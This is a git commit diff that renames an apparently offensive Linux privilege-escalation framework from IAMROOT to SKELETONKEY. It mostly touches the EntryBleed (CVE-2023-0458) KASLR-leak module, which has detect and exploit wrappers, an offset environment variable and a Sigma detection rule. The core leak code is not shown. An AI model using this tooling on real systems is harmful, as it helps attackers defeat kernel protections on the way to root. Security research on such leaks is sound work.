rename: IAMROOT → SKELETONKEY across the entire project
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Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
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@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
- Lift the proven EntryBleed code from
`SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
`module.c` here
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
library helper (`uint64_t entrybleed_leak_kbase(void)`)
- Detection rules: timing-attack pattern flags, perf-counter
anomaly detection (informational — these are hard to make precise
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@@ -14,10 +14,10 @@ Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
Mainline status: no canonical patch — partial mitigations only.
## IAMROOT role
## SKELETONKEY role
This is a **stage-1 leak primitive**, not a standalone LPE. Other
modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
slide and feed it to the offset resolver in `core/offsets.c`. x86_64
only; the `entry_SYSCALL_64` slot offset is configurable via the
`IAMROOT_ENTRYBLEED_OFFSET` env var.
`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
@@ -1,5 +1,5 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module
* entrybleed_cve_2023_0458 SKELETONKEY module
*
* EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
* timing side-channel that leaks the kernel base address.
@@ -13,10 +13,10 @@
* anti-EntryBleed mitigation = VULNERABLE.
* - This module is also a LIBRARY: other modules that need a kbase
* leak as part of a chain can call `entrybleed_leak_kbase_lib()`
* directly (declared in iamroot_modules.h).
* directly (declared in skeletonkey_modules.h).
*
* x86_64 only. On ARM64 / other arches, detect() returns
* IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
* SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
*
* For users who'd never go to USENIX (TLDR):
* - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
@@ -30,7 +30,7 @@
* - Subtract its known offset from kbase KASLR slide
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
* is the most direct signal: "Mitigation: PTI" means KPTI is on
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
"assuming KPTI on (conservative)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
"EntryBleed N/A\n");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
"leak yields plausible kbase 0x%lx\n", kbase);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (!ctx->json) {
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
}
/* Implausible probe result. Either the entry_SYSCALL_64 slot
* offset doesn't match lts-6.12.x default (different kernel
* build) user should set IAMROOT_ENTRYBLEED_OFFSET or
* build) user should set SKELETONKEY_ENTRYBLEED_OFFSET or
* timing is too noisy. Don't claim CONFIRMED. */
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
"no /etc/passwd writes)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
unsigned long off = 0;
if (off_env) {
off = strtoul(off_env, NULL, 0);
if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
}
} else if (!ctx->json) {
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
DEFAULT_ENTRY_OFF);
}
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
unsigned long kbase = entrybleed_leak_kbase_lib(off);
if (kbase == 0) {
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->json) {
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
kbase - 0xffffffff81000000UL);
}
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
#else /* not x86_64 */
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
return 0;
}
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
"different architecture\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
#endif
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
static const char entrybleed_sigma[] =
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
"id: 7b3a48d1-iamroot-entrybleed\n"
"id: 7b3a48d1-skeletonkey-entrybleed\n"
"status: experimental\n"
"description: |\n"
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
"level: informational\n"
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
const struct iamroot_module entrybleed_module = {
const struct skeletonkey_module entrybleed_module = {
.name = "entrybleed",
.cve = "CVE-2023-0458",
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
.detect_falco = NULL,
};
void iamroot_register_entrybleed(void)
void skeletonkey_register_entrybleed(void)
{
iamroot_register(&entrybleed_module);
skeletonkey_register(&entrybleed_module);
}
@@ -1,13 +1,13 @@
/*
* entrybleed_cve_2023_0458 IAMROOT module registry hook
* entrybleed_cve_2023_0458 SKELETONKEY module registry hook
*/
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
#define ENTRYBLEED_IAMROOT_MODULES_H
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
#define ENTRYBLEED_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module entrybleed_module;
extern const struct skeletonkey_module entrybleed_module;
/* Library entry point for other modules that need a kbase leak.
* Returns the leaked kernel _text base on success, or 0 on failure